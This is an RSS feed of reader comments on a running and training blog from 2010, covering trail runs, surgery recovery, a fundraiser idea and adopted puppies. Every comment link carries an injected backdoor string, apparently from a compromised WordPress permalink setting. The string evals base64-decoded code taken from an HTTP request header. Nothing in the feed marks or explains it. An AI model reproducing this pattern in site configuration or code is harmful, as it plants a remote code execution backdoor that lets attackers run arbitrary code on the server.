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	<title>Comments for Back of the pack</title>
	<atom:link href="http://ultrastory.com/Blog1/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://ultrastory.com/Blog1</link>
	<description>Gary's training blog</description>
	<lastBuildDate>Tue, 15 Jun 2010 21:49:20 -0700</lastBuildDate>
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		<title>Comment on I&#8217;m back! by Nick</title>
		<link>http://ultrastory.com/Blog1/2010/06/14/im-back/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-7417</link>
		<dc:creator>Nick</dc:creator>
		<pubDate>Tue, 15 Jun 2010 21:49:20 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1521#comment-7417</guid>
		<description>Gary!!! 

18 months when when I hope to be able to do my first hundred since surgery, I&#039;ll be back running low miles in about 6 weeks!</description>
		<content:encoded><![CDATA[<p>Gary!!! </p>
<p>18 months when when I hope to be able to do my first hundred since surgery, I&#8217;ll be back running low miles in about 6 weeks!</p>
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		<title>Comment on Road runners hit the trail by Amy</title>
		<link>http://ultrastory.com/Blog1/2010/04/10/road-runners-hit-the-trail/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-6621</link>
		<dc:creator>Amy</dc:creator>
		<pubDate>Tue, 13 Apr 2010 04:20:57 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1395#comment-6621</guid>
		<description>Very happy to not have met your snake friend while I was out there!  Thanks for the great run!</description>
		<content:encoded><![CDATA[<p>Very happy to not have met your snake friend while I was out there!  Thanks for the great run!</p>
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	<item>
		<title>Comment on Road runners hit the trail by cynical dirt doll</title>
		<link>http://ultrastory.com/Blog1/2010/04/10/road-runners-hit-the-trail/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-6601</link>
		<dc:creator>cynical dirt doll</dc:creator>
		<pubDate>Sun, 11 Apr 2010 14:47:34 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1395#comment-6601</guid>
		<description>My Garmin can be as much as 2 miles off from the posted miles on the white trail.... I refer to them as &quot;garmin miles&quot;.  It&#039;ll be good to have an accurate and true measure of the distance!</description>
		<content:encoded><![CDATA[<p>My Garmin can be as much as 2 miles off from the posted miles on the white trail&#8230;. I refer to them as &#8220;garmin miles&#8221;.  It&#8217;ll be good to have an accurate and true measure of the distance!</p>
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		<title>Comment on Hero Hawks by Mark Boucher</title>
		<link>http://ultrastory.com/Blog1/2010/03/14/hero-hawks/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-6227</link>
		<dc:creator>Mark Boucher</dc:creator>
		<pubDate>Tue, 16 Mar 2010 02:00:11 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1325#comment-6227</guid>
		<description>Nice write up Gary, this is the kind of personal interest story that the local Lawrence paper might like to publish about the Trail Hawks.</description>
		<content:encoded><![CDATA[<p>Nice write up Gary, this is the kind of personal interest story that the local Lawrence paper might like to publish about the Trail Hawks.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Gal Gallop by cynical dirt doll</title>
		<link>http://ultrastory.com/Blog1/2010/03/10/gal-gallop-2/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-6186</link>
		<dc:creator>cynical dirt doll</dc:creator>
		<pubDate>Thu, 11 Mar 2010 19:42:45 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1317#comment-6186</guid>
		<description>Brilliant idea Lee!  I think we have just found our new fundraiser!</description>
		<content:encoded><![CDATA[<p>Brilliant idea Lee!  I think we have just found our new fundraiser!</p>
]]></content:encoded>
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	<item>
		<title>Comment on Gal Gallop by Lee</title>
		<link>http://ultrastory.com/Blog1/2010/03/10/gal-gallop-2/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-6179</link>
		<dc:creator>Lee</dc:creator>
		<pubDate>Thu, 11 Mar 2010 04:51:06 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1317#comment-6179</guid>
		<description>This may be the only trail run in the world where you could sell tickets and dudes would buy &#039;em!</description>
		<content:encoded><![CDATA[<p>This may be the only trail run in the world where you could sell tickets and dudes would buy &#8216;em!</p>
]]></content:encoded>
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		<title>Comment on Wednesday night with the Chop by Rita</title>
		<link>http://ultrastory.com/Blog1/2010/02/11/wednesday-night-with-the-chop/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-6087</link>
		<dc:creator>Rita</dc:creator>
		<pubDate>Mon, 01 Mar 2010 17:30:23 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1208#comment-6087</guid>
		<description>These are adorable!  Thank you so much for sharing with us.  It is so good to see our babies get such wonderful homes!</description>
		<content:encoded><![CDATA[<p>These are adorable!  Thank you so much for sharing with us.  It is so good to see our babies get such wonderful homes!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Big Saturday run by mark</title>
		<link>http://ultrastory.com/Blog1/2010/02/27/big-saturday-run/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-6085</link>
		<dc:creator>mark</dc:creator>
		<pubDate>Mon, 01 Mar 2010 15:12:59 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1234#comment-6085</guid>
		<description>Hi Gary.  It was good to see you saturday.  If you ever want to run early while the mud is still frozen, the invite is always open.  See you at Kanopolis, if not before.  ___m.

... cute pup.</description>
		<content:encoded><![CDATA[<p>Hi Gary.  It was good to see you saturday.  If you ever want to run early while the mud is still frozen, the invite is always open.  See you at Kanopolis, if not before.  ___m.</p>
<p>&#8230; cute pup.</p>
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		<title>Comment on Coleen&#8217;s Fat Ass by David Wakefield</title>
		<link>http://ultrastory.com/Blog1/2010/01/17/coleens-fat-ass/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-5580</link>
		<dc:creator>David Wakefield</dc:creator>
		<pubDate>Wed, 20 Jan 2010 01:05:30 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1142#comment-5580</guid>
		<description>Sounded like a great time. Wished I&#039;d had the night off from work...</description>
		<content:encoded><![CDATA[<p>Sounded like a great time. Wished I&#8217;d had the night off from work&#8230;</p>
]]></content:encoded>
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		<title>Comment on 2 workouts in a row! by Levi</title>
		<link>http://ultrastory.com/Blog1/2010/01/12/2-workouts-in-a-row/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/comment-page-1/#comment-5538</link>
		<dc:creator>Levi</dc:creator>
		<pubDate>Wed, 13 Jan 2010 14:47:19 +0000</pubDate>
		<guid isPermaLink="false">http://ultrastory.com/Blog1/?p=1127#comment-5538</guid>
		<description>Hmmm  I think I ran into Jessica at Clinton a month or so ago.  Good to see her joining up with the Hawks!!</description>
		<content:encoded><![CDATA[<p>Hmmm  I think I ran into Jessica at Clinton a month or so ago.  Good to see her joining up with the Hawks!!</p>
]]></content:encoded>
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